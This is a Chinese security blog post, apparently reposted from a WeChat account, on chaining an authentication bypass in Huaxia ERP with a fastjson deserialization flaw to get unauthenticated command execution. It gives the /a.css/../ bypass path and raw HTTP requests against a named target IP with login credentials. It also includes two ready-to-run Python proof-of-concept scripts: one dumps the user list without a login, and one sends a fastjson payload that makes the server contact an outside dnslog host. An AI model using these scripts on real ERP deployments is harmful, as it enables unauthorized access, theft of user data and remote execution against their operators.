华夏ERP漏洞之授权绕过漏洞+后台命令执行漏洞=未授权命令执行

  • A+
所属分类:安全文章

开场还是这个测试靶场

靶场地址

http://47.116.69.14

账户密码

jsh

123456

1、描述


华夏ERP基于SpringBoot框架和SaaS模式,可以算作是国内人气比较高的一款ERP项目,但经过源码审计发现其存在多个漏洞,本篇为授权绕过漏洞,后台命令执行漏洞,然后再打一个组合拳进行未授权命令执行。







2、影响范围



华夏ERP







3、漏洞复现


从开源项目本地搭建来进行审计,源码下载地址:

百度网盘 https://pan.baidu.com/s/1jlild9uyGdQ7H2yaMx76zw  提取码:814g







一、授权绕过漏洞


漏洞复现:

该项目利用filter做登录判断

com.jsh.erp.filter.LogCostFilter

华夏ERP漏洞之授权绕过漏洞+后台命令执行漏洞=未授权命令执行

其中值得关注的是ignoredList,如果url中存在ignoredList则不需要认证。

我们去寻找ignoredList,发现它在同一文件内,如下:

华夏ERP漏洞之授权绕过漏洞+后台命令执行漏洞=未授权命令执行

可以看到匹配的值为:

.css#.js#.jpg#.png#.gif#.ico

那么绕过认证的payload我们就可以随便写了,如下:

/a.css/../

如未登录查看系统配置:

华夏ERP漏洞之授权绕过漏洞+后台命令执行漏洞=未授权命令执行

以上数据都为测试生成的数据,为虚假数据,如有雷同纯属巧合

GET /a.css/../systemConfig/list?search=%7B%22companyName%22%3A%22%22%7D&currentPage=1&pageSize=10 HTTP/1.1Host: 47.116.69.14Accept: application/json, text/javascript, */*; q=0.01User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 Edg/85.0.564.60X-Requested-With: XMLHttpRequestReferer: http://47.116.69.14/pages/manage/systemConfig.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,pl;q=0.5Connection: close

来个POC吧,验证起来方便

使用方式:

python3 华夏erp未授权.py http://ip:port

源码:

import sys,requests
def main(ip): url = "{ip}/a.css/../user/getUserList?search=%7B%22userName%22%3A%22%22%2C%22loginName%22%3A%22%22%7D&currentPage=1&pageSize=15".format(ip=ip) res = requests.get(url,verify=False,timeout=5) if res.status_code == 200: print("+ {ip} 访问成功n{data}".format(ip=ip,data=res.text))main(sys.argv[1])'''


二、后台命令执行漏洞


漏洞复现:

漏洞代码位置:

com.jsh.erp.controller.DepotHeadController

漏洞代码分析:

pom.xml文件中引用了fastjson,且版本为1.2.55

华夏ERP漏洞之授权绕过漏洞+后台命令执行漏洞=未授权命令执行

查看代码发现com.jsh.erp.controller.DepotController存在反序列化

华夏ERP漏洞之授权绕过漏洞+后台命令执行漏洞=未授权命令执行

但在靶场站点未找到该接口,推测靶场站代码未更新,发现流量中存在另一个使用search参数的接口,进行反序列化测试:

华夏ERP漏洞之授权绕过漏洞+后台命令执行漏洞=未授权命令执行

对了要URL编码一下。。。

华夏ERP漏洞之授权绕过漏洞+后台命令执行漏洞=未授权命令执行

接下来就是见证奇迹的时刻,dnslog收到dns请求

华夏ERP漏洞之授权绕过漏洞+后台命令执行漏洞=未授权命令执行

三、组合拳-未授权命令执行

利用方式:

很简单,就是两个漏洞合并一下,如下:

华夏ERP漏洞之授权绕过漏洞+后台命令执行漏洞=未授权命令执行

可以看到我是没有携带Cookie的,dnslog依然收到了请求

华夏ERP漏洞之授权绕过漏洞+后台命令执行漏洞=未授权命令执行

组合拳的POC:

使用方法:

python3 华夏erp_fastjson.py x.x.x.x 80 qingy.dnslog.cn (替换你的dnslog地址)

源码:

import socket,sys,re
def SendGet(res,ip,port): request = re.sub('[rn]','rn',res) port = int(port) sock = socket.socket() # 建立socket sock.connect((ip, port)) # 远程连接 sock.send(request.encode('ascii')) # 向socket发送数据 response = b'' chunk = sock.recv(4096) # 从socket接收数据 print(chunk.decode())def main(ip,port,dnslog): test = '{"@type":"java.net.Inet4Address","val":"'+ dnslog +'"}' test = test.encode('utf-8') test = ''.join('%{:02X}'.format(x) for x in test) res = '''GET /a.css/../depotHead/list?search={data}&currentPage=1&pageSize=10 HTTP/1.1Host: {host}Accept: application/json, text/javascript, */*; q=0.01User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.47X-Requested-With: XMLHttpRequestAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,pl;q=0.5Connection: close
'''.format(data=test,host=ip+':'+port) #print(res) SendGet(res,ip,port)main(sys.argv[1],sys.argv[2],sys.argv[3])


最后再给大家介绍一下漏洞库,地址:wiki.xypbk.com

华夏ERP漏洞之授权绕过漏洞+后台命令执行漏洞=未授权命令执行

华夏ERP漏洞之授权绕过漏洞+后台命令执行漏洞=未授权命令执行

华夏ERP漏洞之授权绕过漏洞+后台命令执行漏洞=未授权命令执行

华夏ERP漏洞之授权绕过漏洞+后台命令执行漏洞=未授权命令执行

本站暂不开源,因为想控制影响范围,若因某些人乱搞,造成了严重后果,本站将即刻关闭。


漏洞库内容来源于互联网&&零组文库&&peiqi文库&&自挖漏洞&&乐于分享的师傅供大家方便检索,绝无任何利益


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。


若有愿意分享自挖漏洞的佬师傅请公众号后台留言,本站将把您供上,并在此署名,天天烧香那种!


华夏ERP漏洞之授权绕过漏洞+后台命令执行漏洞=未授权命令执行

扫取二维码获取

更多精彩

华夏ERP漏洞之授权绕过漏洞+后台命令执行漏洞=未授权命令执行

Qingy之安全

华夏ERP漏洞之授权绕过漏洞+后台命令执行漏洞=未授权命令执行



华夏ERP漏洞之授权绕过漏洞+后台命令执行漏洞=未授权命令执行

点个在看你最好看






本文始发于微信公众号(Qingy之安全):华夏ERP漏洞之授权绕过漏洞+后台命令执行漏洞=未授权命令执行

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: